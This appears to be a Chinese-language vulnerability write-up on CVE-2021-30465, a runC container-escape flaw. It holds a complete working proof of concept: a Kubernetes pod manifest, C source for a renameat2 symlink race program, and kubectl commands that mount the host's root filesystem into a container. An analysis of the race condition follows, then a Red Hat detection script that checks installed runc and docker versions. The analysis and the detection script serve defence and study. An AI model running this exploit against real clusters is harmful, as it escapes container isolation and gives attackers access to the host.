CVE-2021-30465 runC逃逸漏洞
POC
-
搭建k8s环境。
-
创建20个(可以更多,实验效果会更明显)容器,其中一个为正常容器c1,其余多个都是无法正常启动的容器(可以直接用donotexists.com/do/not:exist)容器c2~c20。
以及创建两个volume数据卷test1和test2,分别挂载在各个容器中。env.yaml文件:
apiVersion: v1 kind: Pod metadata: name: attack spec: terminationGracePeriodSeconds: 1 containers: - name: c1 image: ubuntu:latest command: [ "/bin/sleep", "inf" ] env: - name: MY_POD_UID valueFrom: fieldRef: fieldPath: metadata.uid volumeMounts: - name: test1 mountPath: /test1 - name: test2 mountPath: /test2 - name: c2 image: donotexists.com/do/not:exist command: [ "/bin/sleep", "inf" ] volumeMounts: - name: test1 mountPath: /test1 - name: test2 mountPath: /test1/mnt1 - name: test2 mountPath: /test1/mnt2 - name: test2 mountPath: /test1/mnt3 - name: test2 mountPath: /test1/mnt4 - name: test2 mountPath: /test1/zzz - name: c3 image: donotexists.com/do/not:exist command: [ "/bin/sleep", "inf" ] volumeMounts: - name: test1 mountPath: /test1 - name: test2 mountPath: /test1/mnt1 - name: test2 mountPath: /test1/mnt2 - name: test2 mountPath: /test1/mnt3 - name: test2 mountPath: /test1/mnt4 - name: test2 mountPath: /test1/zzz ...省略c4~c20... volumes: - name: test1 emptyDir: medium: "Memory" - name: test2 emptyDir: medium: "Memory"
-
准备一个C程序race.c,编译成race二进制文件,
gcc race.c -03 -o race
。#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <sys/syscall.h> /* musl libc does not define RENAME_EXCHANGE */ #ifndef RENAME_EXCHANGE #define RENAME_EXCHANGE 2 #endif int main(int argc, char *argv[]) { if (argc != 4) { fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]); exit(EXIT_FAILURE); } char *name1 = argv[1]; char *name2 = argv[2]; char *linkdest = argv[3]; int dirfd = open(".", O_DIRECTORY|O_CLOEXEC); if (dirfd < 0) { perror("Error open CWD"); exit(EXIT_FAILURE); } if (mkdir(name1, 0755) < 0) { perror("mkdir failed"); //do not exit } if (symlink(linkdest, name2) < 0) { perror("symlink failed"); //do not exit } while (1) { int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE); } }
-
将yaml编排好的配置项启动,
kubectl apply -f env.yaml
。 -
等待容器启动,
kubectl get pods
,会发现只有一个pod正常启动:
-
将race copy到c1中。
kubectl cp race -c c1 attack:/test1/
-
在c1中生成
/test2/test2
链接文件,指向根目录/
(这里软连接的文件名务必和数据卷名字相同)。kubectl exec -ti pod/attack -c c1 -- bash ln -s / /test2/test2
-
在c1容器中启动race程序
cd test1 seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
在这里的作用是启动四个进程,创建
mnt-tmpX
软连接,指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
,然后通过系统调用renameat2
不断交换mntX
和mnt-tmpX
两个文件。 -
然后将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)
for c in {2..20}; do kubectl set image pod attack c$c=ubuntu:latest done
稍等后,然后kubectl get pods
可以看到所有pod正常启动:
-
此时查看所有容器的
/test1/zzz
目录,会发现有部分容器指向宿主机根目录,逃逸成功。for c in {2..20}; do echo ~~ Container c$c ~~ kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz done
漏洞分析
容器去挂载卷时,是由容器引擎去管理的,本漏洞的容器引擎是runC,即对应卷的所有权交给了容器引擎。
CVE-2021-30465就是因为runC没有处理好卷下面的资源竞争而导致的。
当挂载一个volume数据卷时,runC会信任源文件,会让内核跟随符号链接到指定的文件位置,但runC不信任目标文件参数,会调用filepath-securejoin
库去解析符号链接,确保目标文件在容器的根文件系统内。SecureJoinVFS()
文档解释道,只有确保要check的文件不会被符号链接所替换,该方法才是安全的,但是问题就是我们可以进行替换。
runC是通过一个securejoin.SecureJoinVFS()
函数,先对要挂载的目录进行check,然后再进行mount操作,而在这期间就会产生一个时间差,从而产生条件竞争(TOCTTOU, time-of-check-to-time-of-use),也就是说,在check一个合法文件时,文件被替换成非法文件,那么这个check结束后,非法文件会被mount。在这里可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器,从而产生逃逸。
TOCTTOU:先检查某个前置条件,然后介于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件可能被改变。通常发生在多线程在处理某个非原子操作的过程。
POC分析
在创建pod时可以创建卷,例如emptydir类型的卷,其和pod的生命周期一样,pod中所有容器都可以共享该卷,卷会存储在宿主机的/var/lib/kubelet/pods/podsid/volumes/kubenetes.io~empty-dir/下
,例如:
该pod中所有容器可以通关挂载这些卷来共享数据。
首先用k8s创建一个pod,共包含20个容器(c1~c20)和两个volume(test1、test2),c1是一个可以正常启动的容器,c2~c20都是故障容器,无法正常启动。
-
c1正常挂载volume test1和test2分别到
/test1
和/test2
下,然后利用race程序创建若干个正常文件mnt
和若干个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
的软连接文件mnt-tmp
,然后程序while true不断交换mnt
和mnt-tmp
。另外在/test2
下创建名为test2
的软连接指向/
。在创建pod时会为每个pod生成一个PID_UID,并为每个pod创建一个目录
/var/lib/kubelet/pods/podId
,而pod中创建的每个容器都会默认注入一个环境变量MY_POD_UID
,即当前所属pod的id。另外为pod创建的卷(以empty-dir类型的卷为例)默认会存在node宿主机的
/var/lib/kubelet/pods/podId/volumes/kubenetes.io~empty-dir/
下。宿主机文件系统上的文件看起来是这样的:
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2 ... /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /
-
然后再其余容器正常启动时,就会先去挂载test1数据卷到
/test1
目录下,然后挂载test2到/test1/mnt/下。此过程中c1是不断交换容器的
/test1/mnt
和/test1/mnt-tmp
。因此其它容器在将卷test2挂载至
/test1/mnt
时,首先进行securejoin.SecureJoinVFS
检查mnt
,它是一个正常的文件目录,而当进行mount操作,mntx
被替换成了一个指向/var/lib/kubelet/pods/podId/volumes/kubenetes.io~empty-dir/
的软连接。所以本来要进行的操作:
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt")
跟随软连接后就变为了
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/")
即相当于将卷test2的内容直接挂载在了
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
,即卷test2覆盖了该目录,因此再挂载test2数据卷到test1/zzz
目录时,就会进行如下操作:mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")
由于之前c1容器创建了
/test2/test2
指向根目录,因此这里的/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
下的test2
其实就是一个指向当前宿主机根目录的软链接(这也是为什么要创建和数据卷同名的软链接文件),即:/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /
于是以上操作就变成了。
mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")
从而将宿主机根目录挂载到了容器的
/test1/zzz
中,实现了容器逃逸。
总结
该漏洞的关键点在于runC在挂载数据卷时去check文件时不能保证文件不被符号链接所替换,如果被换掉那么挂载的目标文件可以指定为宿主机上的任意位置。
该POC的关键点在于,k8s挂载时不能指定源,但可以决定目标,那么就可以创建设计好的符号链接,作为后面容器挂载的新源,从而实现逃逸。
漏洞检测脚本
#!/bin/bash
# Copyright (c) 2021 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
VERSION="1.0"
# Warning! Be sure to download the latest version of this script from its primary source:
BULLETIN="https://access.redhat.com/security/vulnerabilities/RHSB-2021-004"
# DO NOT blindly trust any internet sources and NEVER do `curl something | bash`!
# This script is meant for simple detection of the vulnerability. Feel free to modify it for your
# environment or needs. For more advanced detection, consider Red Hat Insights:
# https://access.redhat.com/products/red-hat-insights#getstarted
# Checking against the list of vulnerable packages is necessary because of the way how features
# are back-ported to older versions of packages in various channels.
VULNERABLE_VERSIONS=(
'runc-0.0.8-1.git4155b68.el7'
'runc-0.1.0-3.el7'
'runc-0.1.1-4.el7'
'runc-0.1.1-5.el7'
'runc-1.0.0-1.rc2.el7'
'runc-1.0.0-3.rc2.el7'
'runc-1.0.0-6.gite800860.el7'
'runc-1.0.0-12.1.gitf8ce01d.el7'
'runc-1.0.0-14.rc4dev.git84a082b.el7'
'runc-1.0.0-21.rc4.dev.gitaea4f21.el7'
'runc-1.0.0-23.rc4.dev.git1d3ab6d.el7'
'runc-1.0.0-24.rc4.dev.gitc6e4a1e.el7'
'runc-1.0.0-26.rc4.dev.git9f9c962.el7'
'runc-1.0.0-27.rc5.dev.git4bb1fe4.el7'
'runc-1.0.0-37.rc5.dev.gitad0f525.el7'
'runc-1.0.0-52.dev.git70ca035.el7_5'
'runc-1.0.0-54.dev.git2abd837.el7'
'runc-1.0.0-57.dev.git2abd837.el7'
'runc-1.0.0-59.dev.git2abd837.el7'
'runc-1.0.0-64.rc8.el7'
'runc-1.0.0-64.rc9.el7'
'runc-1.0.0-65.rc8.el7'
'runc-1.0.0-66.rc8.el7_7'
'runc-1.0.0-66.rc10.rhaos4.3.el7_8'
'runc-1.0.0-67.rc10.el7_8'
'runc-1.0.0-67.rc10.rhaos4.2.el7_8'
'runc-1.0.0-67.rc10.rhaos4.3.el7'
'runc-1.0.0-68.rc10.el7_8'
'runc-1.0.0-68.rc10.rhaos4.4.el7_8'
'runc-1.0.0-69.rhaos4.4.git81f3917.el7'
'runc-1.0.0-70.rhaos4.5.gite677e8b.el7'
'runc-1.0.0-71.rhaos4.5.git5101761.el7'
'runc-1.0.0-73.rhaos4.5.gitd2c3b70.el7'
'runc-1.0.0-81.rhaos4.6.git5b757d4.el7'
'runc-1.0.0-82.rhaos4.6.git086e841.el7'
'runc-1.0.0-83.rhaos4.6.git8c2e7c8.el7'
'runc-1.0.0-84.rhaos4.6.git7116f03.el7'
'runc-1.0.0-85.rhaos4.6.git77a6f3c.el7'
'runc-1.0.0-57.rc5.rhaos4.1.git2abd837.el8'
'runc-1.0.0-60.rc8.rhaos4.1.git3cbe540.el8'
'runc-1.0.0-61.rc8.rhaos4.1.git3cbe540.el8'
'runc-1.0.0-61.rc8.rhaos4.2.git3cbe540.el8'
'runc-1.0.0-62.rc8.rhaos4.1.git3cbe540.el8'
'runc-1.0.0-63.rc8.el8'
'runc-1.0.0-63.rc8.rhaos4.1.git3cbe540.el8_0'
'runc-1.0.0-63.rc10.rhaos4.2.gitdc9208a.el8'
'runc-1.0.0-64.rc9.el8'
'runc-1.0.0-65.rc10.rhaos4.3.el8'
'runc-1.0.0-65.rc10.rhaos4.4.el8'
'runc-1.0.0-67.rc10.rhaos4.2.el8'
'runc-1.0.0-67.rc10.rhaos4.3.el8'
'runc-1.0.0-68.rc10.rhaos4.4.el8'
'runc-1.0.0-69.rhaos4.4.git81f3917.el8'
'runc-1.0.0-70.rhaos4.5.gite677e8b.el8'
'runc-1.0.0-71.rhaos4.5.git5101761.el8'
'runc-1.0.0-72.rhaos4.5.giteadfc6b.el8'
'runc-1.0.0-73.rhaos4.5.gitd2c3b70.el8'
'runc-1.0.0-81.rhaos4.6.git5b757d4.el8'
'runc-1.0.0-82.rhaos4.6.git086e841.el8'
'runc-1.0.0-83.rhaos4.6.git8c2e7c8.el8'
'runc-1.0.0-84.rhaos4.6.git7116f03.el8'
'runc-1.0.0-85.rhaos4.6.git77a6f3c.el8'
'runc-1.0.0-54.rc5.dev.git2abd837.module+el8+2769+577ad176'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8+2794+c81bb0a1'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+2956+30df4692'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+3049+59fd2bba'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0+4014+8662b6b2'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.0.0.z+3525+56c076c3'
'runc-1.0.0-55.rc5.dev.git2abd837.module+el8.1.0+3468+011f0ab0'
'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.1.0+4908+72a45cef'
'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.2.0+6370+6fb6c8ca'
'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+7197+26156b7d'
'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+8236+8e428216'
'runc-1.0.0-56.rc5.dev.git2abd837.module+el8.3.0+10171+12421f43'
'runc-1.0.0-56.rc8.dev.git425e105.module+el8.0.0+4017+bbba319f'
'runc-1.0.0-60.rc8.module+el8.1.0+4081+b29780af'
'runc-1.0.0-61.rc8.module+el8.1.0+4873+4a24e241'
'runc-1.0.0-64.rc9.module+el8.1.1+5259+bcdd613a'
'runc-1.0.0-64.rc10.module+el8.2.0+5728+ac3aae00'
'runc-1.0.0-64.rc10.module+el8.2.0+6369+1f4293b4'
'runc-1.0.0-64.rc10.module+el8.2.0+7659+b700d80e'
'runc-1.0.0-64.rc10.module+el8.2.0+9347+d4fa9cbb'
'runc-1.0.0-64.rc10.module+el8.2.0+9938+46853747'
'runc-1.0.0-64.rc10.module+el8.3.0+7385+02cfa547'
'runc-1.0.0-64.rc10.module+el8.3.0+7660+b7198318'
'runc-1.0.0-64.rc10.module+el8.3.0+7842+fbbcd85c'
'runc-1.0.0-64.rc10.module+el8.3.0+8233+627fbb78'
'runc-1.0.0-64.rc10.module+el8.3.0+8377+eff33c85'
'runc-1.0.0-64.rc10.module+el8.3.0+9348+d780f094'
'runc-1.0.0-64.rc10.module+el8.3.0+10188+4c10031c'
'runc-1.0.0-64.rc10.module+el8.4.0+9935+d4945f3f'
'runc-1.0.0-64.rc10.module+el8.4.0+10193+e90fd8eb'
'runc-1.0.0-65.rc10.module+el8.2.0+5762+aaee29fb'
'runc-1.0.0-65.rc10.module+el8.2.0+6368+cf16aa14'
'runc-1.0.0-66.rc10.module+el8.2.1+6465+1a51e8b6'
'runc-1.0.0-66.rc10.module+el8.3.0+7084+c16098dd'
'runc-1.0.0-68.rc92.module+el8.3.0+7635+9a181104'
'runc-1.0.0-68.rc92.module+el8.3.0+7716+ce654703'
'runc-1.0.0-68.rc92.module+el8.3.0+7843+7fef9496'
'runc-1.0.0-68.rc92.module+el8.3.0+8221+97165c3f'
'runc-1.0.0-70.rc92.module+el8.3.1+9857+68fb1526'
'runc-1.0.0-70.rc92.module+el8.4.0+10197+7c295612'
'runc-1.0.0-70.rc92.module+el8.4.0+10198+36d1d0e3'
'runc-1.0.0-70.rc92.module+el8.4.0+10607+f4da7515'
'runc-1.0.0-70.rc92.module+el8.4.0+10614+dd38312c'
'docker-0.10.0-9.el7'
'docker-0.11.1-19.el7'
'docker-0.11.1-22.el7'
'docker-1.1.2-9.el7'
'docker-1.1.2-13.el7'
'docker-1.2.0-1.8.el7'
'docker-1.3.2-4.el7'
'docker-1.4.1-37.el7'
'docker-1.5.0-27.el7'
'docker-1.5.0-28.el7'
'docker-1.6.0-11.el7'
'docker-1.6.2-8.el7'
'docker-1.6.2-14.el7'
'docker-1.7.1-108.el7'
'docker-1.7.1-115.el7'
'docker-1.8.2-7.el7'
'docker-1.8.2-8.el7'
'docker-1.8.2-10.el7'
'docker-1.9.1-25.el7'
'docker-1.9.1-40.el7'
'docker-1.10.3-44.el7'
'docker-1.10.3-46.el7.10'
'docker-1.10.3-46.el7.14'
'docker-1.10.3-57.el7'
'docker-1.10.3-59.el7'
'docker-1.12.5-14.el7'
'docker-1.12.6-11.el7'
'docker-1.12.6-16.el7'
'docker-1.12.6-28.git1398f24.el7'
'docker-1.12.6-32.git88a4867.el7'
'docker-1.12.6-48.git0fdc778.el7'
'docker-1.12.6-55.gitc4618fb.el7'
'docker-1.12.6-61.git85d7426.el7'
'docker-1.12.6-68.gitec8512b.el7'
'docker-1.12.6-71.git3e8e77d.el7'
'docker-1.12.6-79.git5680db5.el7'
'docker-1.13.1-53.git774336d.el7'
'docker-1.13.1-58.git87f2fab.el7'
'docker-1.13.1-63.git94f4240.el7'
'docker-1.13.1-68.gitdded712.el7'
'docker-1.13.1-74.git6e3bb8e.el7'
'docker-1.13.1-75.git8633870.el7_5'
'docker-1.13.1-84.git07f3374.el7'
'docker-1.13.1-88.git07f3374.el7'
'docker-1.13.1-90.git07f3374.el7'
'docker-1.13.1-91.git07f3374.el7'
'docker-1.13.1-94.gitb2f74b2.el7'
'docker-1.13.1-96.gitb2f74b2.el7'
'docker-1.13.1-102.git7f2769b.el7'
'docker-1.13.1-103.git7f2769b.el7'
'docker-1.13.1-104.git4ef4b30.el7'
'docker-1.13.1-108.git4ef4b30.el7'
'docker-1.13.1-109.gitcccb291.el7_7'
'docker-1.13.1-161.git64e9980.el7_8'
'docker-1.13.1-162.git64e9980.el7_8'
'docker-1.13.1-203.git0be3e21.el7_9'
'docker-1.13.1-204.git0be3e21.el7_9'
'docker-1.13.1-205.git7d71120.el7_9'
'docker-latest-1.10.3-22.el7'
'docker-latest-1.10.3-44.el7'
'docker-latest-1.10.3-46.el7.10'
'docker-latest-1.12.1-2.el7'
'docker-latest-1.12.1-3.el7'
'docker-latest-1.12.3-10.el7'
'docker-latest-1.12.5-14.el7'
'docker-latest-1.12.6-11.el7'
'docker-latest-1.13.1-4.el7'
'docker-latest-1.13.1-11.git3a17ad5.el7'
'docker-latest-1.13.1-13.gitb303bf6.el7'
'docker-latest-1.13.1-21.1.gitcd75c68.el7'
'docker-latest-1.13.1-23.git28ae36d.el7'
'docker-latest-1.13.1-26.git1faa135.el7'
'docker-latest-1.13.1-36.git9a813fa.el7'
'docker-latest-1.13.1-37.git9a813fa.el7'
'docker-latest-1.13.1-53.git774336d.el7'
'docker-latest-1.13.1-58.git87f2fab.el7'
)
basic_args() {
# Parses basic commandline arguments and sets basic environment.
#
# Args:
# parameters - an array of commandline arguments
#
# Side effects:
# Exits if --help parameters is used
# Sets COLOR constants and debug variable
local parameters=( "$@" )
RED="\\033[1;31m"
GREEN="\\033[1;32m"
BOLD="\\033[1m"
RESET="\\033[0m"
for parameter in "${parameters[@]}"; do
if [[ "$parameter" == "-h" || "$parameter" == "--help" ]]; then
echo "Usage: $( basename "$0" ) [-n | --no-colors] [-d | --debug]"
exit 1
elif [[ "$parameter" == "-n" || "$parameter" == "--no-colors" ]]; then
RED=""
GREEN=""
BOLD=""
RESET=""
elif [[ "$parameter" == "-d" || "$parameter" == "--debug" ]]; then
debug=true
fi
done
}
basic_reqs() {
# Prints common disclaimer and checks basic requirements.
#
# Args:
# CVE - string printed in the disclaimer
#
# Side effects:
# Exits when 'rpm' command is not available
local CVE="$1"
# Disclaimer
echo
echo -e "${BOLD}This script (v$VERSION) is primarily designed to detect $CVE on supported"
echo -e "Red Hat Enterprise Linux systems and kernel packages."
echo -e "Result may be inaccurate for other RPM based systems."
echo -e "Result may be inaccurate for affected RPM packages not compiled by Red Hat.${RESET}"
echo
# RPM is required
if ! command -v rpm &> /dev/null; then
echo "'rpm' command is required, but not installed. Exiting."
exit 1
fi
}
check_supported_kernel() {
# Checks if running kernel is supported.
#
# Args:
# running_kernel - kernel string as returned by 'uname -r'
#
# Side effects:
# Exits when running kernel is obviously not supported
local running_kernel="$1"
# Check supported platform
if [[ "$running_kernel" != *".el"[7-8]* ]]; then
echo -e "${RED}This script is meant to be used only on RHEL 7 and 8.${RESET}"
echo
echo -e "Follow $BULLETIN for advice."
exit 1
fi
}
check_package() {
# Checks if installed package is in list of vulnerable packages.
#
# Args:
# installed_packages - installed packages string as returned by 'rpm -qa package'
# (may be multiline)
# vulnerable_versions - an array of vulnerable versions
#
# Prints:
# First vulnerable package string as returned by 'rpm -qa package', or nothing
# Convert to array, use word splitting on purpose
# shellcheck disable=SC2206
local installed_packages=( $1 )
shift
local vulnerable_versions=( "$@" )
for tested_package in "${vulnerable_versions[@]}"; do
for installed_package in "${installed_packages[@]}"; do
installed_package_without_arch="${installed_package%.*}"
if [[ "$installed_package_without_arch" == "$tested_package" ]]; then
echo "$installed_package"
return 0
fi
done
done
}
get_installed_packages() {
# Checks for installed packages. Compatible with RHEL5.
#
# Args:
# package_names - an array of package name strings
#
# Prints:
# Lines with N-V-R.A strings of the installed packages.
local package_names=( "$@" )
rpm -qa --queryformat="%{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\n" "${package_names[@]}"
}
get_installed_package_names() {
# Checks for installed packages and returns the names of the installed packages. Compatible with RHEL5.
#
# Args:
# package_names - an array of package name strings
#
# Prints:
# Lines with the names of the installed packages.
local package_names=( "$@" )
rpm -qa --queryformat="%{NAME}\n" "${package_names[@]}" | uniq
}
parse_facts() {
# Gathers all available information and stores it in global variables. Only store facts and
# do not draw conclusion in this function for better maintainability.
#
# Side effects:
# Sets many global boolean flags and content variables
installed_runc=$( get_installed_packages "runc" )
installed_docker=$( get_installed_packages "docker" )
installed_docker_latest=$( get_installed_packages "docker-latest" )
}
draw_conclusions() {
# Draws conclusions based on available system data.
#
# Side effects:
# Sets many global boolean flags and content variables
vulnerable_runc=$( check_package "$installed_runc" "${VULNERABLE_VERSIONS[@]}" )
vulnerable_docker=$( check_package "$installed_docker" "${VULNERABLE_VERSIONS[@]}" )
vulnerable_docker_latest=$( check_package "$installed_docker_latest" "${VULNERABLE_VERSIONS[@]}" )
result=0
if [[ "$vulnerable_runc" ]]; then
(( result |= 2 ))
fi
if [[ "$vulnerable_docker" ]]; then
(( result |= 4 ))
fi
if [[ "$vulnerable_docker_latest" ]]; then
(( result |= 8 ))
fi
}
debug_print() {
# Prints selected variables when debugging is enabled.
variables=( installed_runc installed_docker installed_docker_latest
vulnerable_runc vulnerable_docker vulnerable_docker_latest
running_kernel rhel result )
for variable in "${variables[@]}"; do
echo "$variable = *${!variable}*"
done
echo
}
if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then
basic_args "$@"
basic_reqs "CVE-2021-30465"
running_kernel=$( uname -r )
check_supported_kernel "$running_kernel"
parse_facts
draw_conclusions
# Debug prints
if [[ "$debug" ]]; then
debug_print
fi
sentence_end="."
if [[ "$installed_runc" || "$installed_docker" || "$installed_docker_latest" ]]; then
echo "Detected packages:"
sentence_end=":"
fi
if [[ "$installed_runc" ]]; then
echo -e "* Detected 'runc' package: ${BOLD}$installed_runc${RESET}"
else
echo "* Package 'runc' not installed."
fi
if [[ "$installed_docker" ]]; then
echo -e "* Detected 'docker' package: ${BOLD}$installed_docker${RESET}"
else
echo "* Package 'docker' not installed."
fi
if [[ "$installed_docker_latest" ]]; then
echo -e "* Detected 'docker-latest' package: ${BOLD}$installed_docker_latest${RESET}"
else
echo "* Package 'docker-latest' not installed."
fi
echo
if (( result )); then
echo -e "${RED}This system is vulnerable:${RESET}"
else
echo -e "${GREEN}This system is not vulnerable${sentence_end}${RESET}"
fi
if [[ "$installed_runc" ]]; then
if [[ "$vulnerable_runc" ]]; then
echo -e "* 'runc' package is ${RED}vulnerable${RESET}"
else
echo -e "* 'runc' package is ${GREEN}NOT vulnerable${RESET}"
fi
fi
if [[ "$installed_docker" ]]; then
if [[ "$vulnerable_docker" ]]; then
echo -e "* 'docker' package is ${RED}vulnerable${RESET}"
else
echo -e "* 'docker' package is ${GREEN}NOT vulnerable${RESET}"
fi
fi
if [[ "$installed_docker_latest" ]]; then
if [[ "$vulnerable_docker_latest" ]]; then
echo -e "* 'docker-latest' package is ${RED}vulnerable${RESET}"
else
echo -e "* 'docker-latest' package is ${GREEN}NOT vulnerable${RESET}"
fi
fi
if [[ ! "$vulnerable_runc" && ! "$vulnerable_docker" && ! "$vulnerable_docker_latest" ]]; then
echo
echo -e "There are ${GREEN}NO vulnerable packages${RESET} installed."
fi
echo
echo -e "Follow $BULLETIN for advice."
exit "$result"
fi